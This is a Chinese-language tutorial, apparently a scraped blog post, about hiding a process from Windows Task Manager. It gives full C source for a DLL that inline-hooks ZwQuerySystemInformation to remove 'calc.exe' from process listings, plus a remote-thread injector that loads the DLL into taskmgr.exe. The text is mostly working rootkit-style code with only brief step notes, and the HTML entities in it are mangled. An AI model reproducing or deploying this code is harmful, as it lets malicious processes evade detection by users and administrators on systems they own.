InlineHook任务管理器_ZwQuerySystemInformation_隐藏进程

InlineHook任务管理器_ZwQuerySystemInformation_隐藏进程

hook步骤&＃xff1a;

• 查找目标函数地址

• 修改目标函数第一条指令跳转到我们构造的函数

• 卸载掉钩子&＃xff0c;执行正常的目标函数

• 过滤掉特定信息后返回

hook代码如下

#include
#includeBOOL hook_code();
BOOL unHook_code();
NTSTATUS WINAPI NewZwQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength);
char StroneDate[5]&＃61;{0x00,0x00,0x00,0x00,0x00,};//备份原始字节
DWORD OldProtect;//原始页保护属性
DWORD dwAddress;//跳转偏移地址
FARPROC procaddr;
DWORD num;
byte pBuf[5]&＃61;{0xE9,0xFF,0xFF,0xFF,0xFF};
typedef NTSTATUS (WINAPI * ZwQuerySystemInformation) (SYSTEM_INFORMATION_CLASS SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength);BOOL WINAPI DllMain(HMODULE hModule,DWORD call,LPVOID lpreserved)
{hook_code();return true;
}
BOOL hook_code()
{procaddr &＃61; (FARPROC)GetProcAddress(GetModuleHandleA("ntdll.dll"),"ZwQuerySystemInformation");//获取函数地址VirtualProtect(procaddr,5,PAGE_EXECUTE_READWRITE,&OldProtect);//修改页保护属性if(!StroneDate[0]){memcpy(StroneDate,procaddr,5);}//备份原始指令dwAddress &＃61; (DWORD)NewZwQuerySystemInformation -(DWORD) procaddr -5;//计算函数偏移 memcpy(&(pBuf[1]),&dwAddress,4);//精准偏移memcpy(procaddr,pBuf,5);VirtualProtect(procaddr,5,OldProtect,&OldProtect);return TRUE;
}BOOL unHook_code()
{VirtualProtect(procaddr,5,PAGE_EXECUTE_READWRITE,&OldProtect);memcpy(procaddr,StroneDate,5);VirtualProtect(procaddr,5,OldProtect,&OldProtect);return TRUE;
}
NTSTATUS WINAPI NewZwQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength)
{unHook_code();NTSTATUS status &＃61; ((ZwQuerySystemInformation)procaddr)(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);PSYSTEM_PROCESS_INFORMATION pcurr &＃61; (PSYSTEM_PROCESS_INFORMATION)SystemInformation;PSYSTEM_PROCESS_INFORMATION plast &＃61;NULL;//last nodeif(SystemInformationClass &＃61;&＃61; 5){while(TRUE){if((PWSTR)pcurr->Reserved2[1] !&＃61; NULL)//ImageName{if(0 &＃61;&＃61; memcmp(pcurr->Reserved2[1],L"calc.exe",4)){if(pcurr->NextEntryOffset &＃61;&＃61; 0)plast->NextEntryOffset &＃61; 0;elseplast->NextEntryOffset &＃43;&＃61; pcurr->NextEntryOffset;}elseplast &＃61; pcurr;}if(pcurr->NextEntryOffset &＃61;&＃61; 0)break;pcurr &＃61; (PSYSTEM_PROCESS_INFORMATION)((ULONG)pcurr &＃43; pcurr->NextEntryOffset);}}hook_code();return status;}


使用远线程注入&＃xff0c;将hookdll注入到任务管理器

#include
#include
#include
#define PATH "C:\\Users\\john\\Desktop\\hookdll.dll"//要注入的dll绝对路径
BOOL EnumProcess();
BOOL Inject(DWORD);
DWORD dwPID;
void main()
{if(EnumProcess()){Inject(dwPID);}}BOOL EnumProcess()
{PROCESSENTRY32 pe32 &＃61; {0};pe32.dwSize &＃61; sizeof(PROCESSENTRY32);HANDLE hProcessSnap &＃61; CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//拍进程快照if (INVALID_HANDLE_VALUE &＃61;&＃61; hProcessSnap){printf("CreateToolhelp32Snapshot Error :%d",GetLastError());}BOOL Ret &＃61; Process32First(hProcessSnap,&pe32);//枚举快照while(Ret){int i &＃61; strcmp("taskmgr.exe",pe32.szExeFile);if(!i){ dwPID &＃61; pe32.th32ProcessID;return TRUE;}Ret &＃61; Process32Next(hProcessSnap,&pe32);//下一进程信息}return FALSE;
}
BOOL Inject(DWORD dwPID)
{HANDLE hand &＃61; OpenProcess(PROCESS_ALL_ACCESS,NULL,dwPID);LPVOID lpaddress &＃61; VirtualAllocEx(hand,NULL,0x1000,MEM_COMMIT,PAGE_EXECUTE_READWRITE);//申请指定大小内存,分配读写执行权限bool write &＃61; WriteProcessMemory(hand,lpaddress,PATH,0x1000,NULL);//实现注入CreateRemoteThread(hand,NULL,NULL,(LPTHREAD_START_ROUTINE)LoadLibrary,lpaddress,NULL,NULL);//创建线程执行dllreturn TRUE;
}

效果图如下&＃xff1a;